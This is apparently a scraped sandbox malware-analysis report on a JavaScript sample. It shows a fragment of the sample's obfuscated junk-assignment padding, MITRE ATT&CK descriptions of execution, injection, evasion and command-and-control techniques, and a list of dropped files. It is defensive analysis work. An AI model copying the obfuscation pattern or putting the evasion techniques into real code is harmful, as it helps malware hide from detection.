1226	bvpvx = "J";
1227	bvpvx = "J";
1228	bvpvx = "E";
1229	bvpvx = "v";
1230	bvpvx = "q";
1231	bvpvx = "w";
1232	bvpvx = "R";
1233	bvpvx = "a";
1234	mulomvg = "X";
1235	mulomvg = "f";
1236	mulomvg = "M";
1237	mulomvg = "f";
1238	mulomvg = "S";
1239	mulomvg = "S";
1240	mulomvg = "L";
1241	mulomvg = "v";
1242	mulomvg = "Z";
1243	mulomvg = "r";
1244	mulomvg = "m";
1245	mulomvg = "G";
1246	mulomvg = "S";
1247	mulomvg = "U";
1248	vfyudzh = "z";
1249	vfyudzh = "A";
1250	vfyudzh = "S";
1251	vfyudzh = "W";
1252	vfyudzh = "X";
1253	vfyudzh = "l";
1254	vfyudzh = "K";
1255	vfyudzh = "Y";
1256	vfyudzh = "O";
1257	vfyudzh = "D";
1258	vfyudzh = "q";
1259	vfyudzh = "b";
1260	vfyudzh = "l";
1261	vfyudzh = "Y";
1262	vfyudzh = "D";
1263	vfyudzh = "V";
1264	vfyudzh = "L";
1265	vfyudzh = "O";
1266	vfyudzh = "z";
1267	vfyudzh = "v";
1268	vfyudzh = "S";
1269	vfyudzh = "n";
1270	vfyudzh = "r";
1271	vfyudzh = "v";
1272	vfyudzh = "e";
1273	vfyudzh = "q";
1274	vfyudzh = "C";
1275	vfyudzh = "A";
1276	vfyudzh = "Z";
1277	vfyudzh = "W";
1278	vfyudzh = "b";
1279	vfyudzh = "a";
1280	vfyudzh = "t";
1281	vfyudzh = "F";
1282	vfyudzh = "h";
1283	vfyudzh = "E";
1284	vfyudzh = "v";
1285	sakzw = "q";
1286	sakzw = "q";
1287	sakzw = "W";
1288	sakzw = "j";
1289	sakzw = "w";
1290	sakzw = "i";
1291	sakzw = "F";
1292	sakzw = "g";
1293	sakzw = "l";
1294	sakzw = "K";
1295	sakzw = "Z";
1296	sakzw = "j";
1297	sakzw = "W";
1298	sakzw = "t";
1299	sakzw = "I";
1300	sakzw = "S";
1301	sakzw = "M";
1302	sakzw = "D";
1303	sakzw = "Q";
1304	sakzw = "Q";
1305	sakzw = "f";
1306	sakzw = "Q";
1307	sakzw = "s";
1308	sakzw = "U";
1309	sakzw = "L";
1310	sakzw = "m";
1311	sakzw = "M";
1312	sakzw = "U";
1313	sakzw = "Y";
1314	sakzw = "V";
1315	sakzw = "v";
1316	sakzw = "l";
1317	sakzw = "k";
1318	sakzw = "g";
1319	sakzw = ":";
1320	nswthpdam = "J";
1321	nswthpdam = "V";
1322	nswthpdam = "N";
1323	nswthpdam = "m";
1324	nswthpdam = "Z";
1325	nswthpdam = "J";
1326	nswthpdam = "P";
1327	nswthpdam = "p";
1328	nswthpdam = "O";
1329	nswthpdam = "x";
1330	nswthpdam = "l";
1331	nswthpdam = "v";
1332	nswthpdam = "F";
1333	nswthpdam = "b";
1334	nswthpdam = "e";
1335	nswthpdam = "v";
1336	nswthpdam = "Y";
1337	nswthpdam = "P";
1338	nswthpdam = "q";
1339	nswthpdam = "E";
1340	nswthpdam = "Q";
1341	nswthpdam = "o";
1342	nswthpdam = "R";
1343	nswthpdam = "s";
1344	nswthpdam = "t";
1345	nswthpdam = "P";
1346	nswthpdam = "o";
1347	wcrlutp = "W";
1348	wcrlutp = "h";
1349	wcrlutp = "n";
1350	wcrlutp = "o";
1351	wcrlutp = "h";
1352	wcrlutp = "h";
1353	wcrlutp = "D";
1354	wcrlutp = "q";
1355	wcrlutp = "a";
1356	wcrlutp = "L";
1357	wcrlutp = "D";
1358	wcrlutp = "D";
1359	wcrlutp = "z";
1360	wcrlutp = "I";
1361	wcrlutp = "n";
1362	wcrlutp = "&";
1363	rtywrwjld = "D";
1364	rtywrwjld = "d";
1365	rtywrwjld = "P";
1366	rtywrwjld = "y";
1367	rtywrwjld = "r";
1368	rtywrwjld = "r";
1369	rtywrwjld = "i";
1370	rtywrwjld = "u";
1371	rtywrwjld = "J";
1372	rtywrwjld = "p";
1373	rtywrwjld = "Q";
1374	rtywrwjld = "R";
1375	rtywrwjld = "V";
1376	rtywrwjld = "U";
1377	rtywrwjld = "B";
1378	rtywrwjld = "S";
1379	rtywrwjld = "b";
1380	rtywrwjld = "b";
1381	rtywrwjld = "X";
1382	rtywrwjld = "N";
1383	rtywrwjld = "L";
1384	rtywrwjld = "v";
1385	rtywrwjld = "i";
1386	rtywrwjld = "f";
1387	rtywrwjld = "L";
1388	rtywrwjld = "k";
1389	rtywrwjld = "c";
1390	rtywrwjld = "Y";
1391	rtywrwjld = "X";
1392	rtywrwjld = "U";
1393	rtywrwjld = "I";
1394	rtywrwjld = "n";
1395	rtywrwjld = "I";
1396	rtywrwjld = "Q";
1397	rtywrwjld = "z";
1398	rtywrwjld = "F";
1399	rtywrwjld = "o";
1400	rtywrwjld = "r";
1401	rtywrwjld = "a";
1402	rtywrwjld = "C";
1403	rtywrwjld = "D";
1404	rtywrwjld = "v";
1405	rtywrwjld = "j";
1406	rhjgv = "c";
1407	rhjgv = "U";
1408	rhjgv = "A";
1409	rhjgv = "H";
1410	rhjgv = "L";
1411	rhjgv = "y";
1412	rhjgv = "U";
1413	rhjgv = "F";
1414	rhjgv = "b";
1415	rhjgv = "c";
1416	rhjgv = "y";
1417	rhjgv = "v";
1418	rhjgv = "Y";
1419	rhjgv = "O";
1420	rhjgv = "L";
1421	rhjgv = "R";
1422	rhjgv = "H";
1423	rhjgv = "b";
1424	rhjgv = "r";
1425	lfujqq = "L";
1426	lfujqq = "i";
1427	lfujqq = "n";
1428	lfujqq = "h";
1429	lfujqq = "v";
1430	lfujqq = "x";
1431	lfujqq = "k";
1432	lfujqq = "A";
1433	lfujqq = "q";
1434	lfujqq = "g";
1435	lfujqq = "M";
1436	lfujqq = "y";
1437	lfujqq = "P";
1438	lfujqq = "W";
1439	lfujqq = "w";
1440	lfujqq = "Y";
1441	wrvpldqe = "K";
1442	wrvpldqe = "2";
1443	rfcbkpth = "z";
1444	rfcbkpth = "6";
1445	cwtsjhpx = "y";
1446	cwtsjhpx = "E";
1447	cwtsjhpx = "p";
1448	cwtsjhpx = "s";
1449	cwtsjhpx = "V";
1450	cwtsjhpx = "N";
1451	cwtsjhpx = "i";
1452	cwtsjhpx = "Z";
1453	cwtsjhpx = "M";
1454	cwtsjhpx = "u";
1455	cwtsjhpx = "n";
1456	cwtsjhpx = "E";
1457	cwtsjhpx = "A";
1458	cwtsjhpx = "d";
1459	cwtsjhpx = "t";
1460	cwtsjhpx = "f";
1461	cwtsjhpx = "f";
1462	cwtsjhpx = "J";
1463	cwtsjhpx = "E";
1464	cwtsjhpx = "o";
1465	cwtsjhpx = "B";
1466	cwtsjhpx = "v";
1467	cwtsjhpx = "j";
1468	cwtsjhpx = "V";
1469	cwtsjhpx = "W";
1470	cwtsjhpx = "w";
1471	cwtsjhpx = "u";
1472	cwtsjhpx = "U";
1473	cwtsjhpx = "R";
1474	cwtsjhpx = "L";
1475	cwtsjhpx = "P";
1476	cwtsjhpx = "W";
1477	cwtsjhpx = "W";
1478	cwtsjhpx = "O";
1479	cwtsjhpx = "o";
1480	cwtsjhpx = "D";
1481	cwtsjhpx = "O";
1482	cwtsjhpx = "F";
1483	njqed = "l";
1484	njqed = "K";
1485	njqed = "J";
1486	njqed = "O";
1487	njqed = "M";
1488	njqed = "L";
1489	njqed = "x";
1490	njqed = "p";
1491	njqed = "P";
1492	njqed = "A";
1493	njqed = "c";
1494	njqed = "Y";
1495	njqed = "r";
1496	njqed = "a";
1497	njqed = "g";
1498	njqed = "v";
1499	njqed = "G";
1500	njqed = "a";
1501	njqed = "P";
1502	njqed = "G";
1503	njqed = "B";
1504	njqed = "t";
1505	njqed = "l";
1506	njqed = "W";
1507	njqed = "p";
1508	njqed = "f";
1509	njqed = "Z";
1510	njqed = "u";
1511	njqed = "L";
1512	njqed = "S";
1513	njqed = "p";
1514	njqed = "V";
1515	njqed = "q";
1516	njqed = "J";
1517	njqed = "p";
1518	njqed = "M";
1519	njqed = "Q";
1520	njqed = "v";
1521	njqed = "t";
1522	bdfmtb ( );	bdfmtb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 31352150452488124098.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\81ab6010-a625-44ef-8b10-d4f87abb013b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3ac2e8.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bac4edfe-0fab-43e0-bf97-7266de384750.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
31352150452488124098.js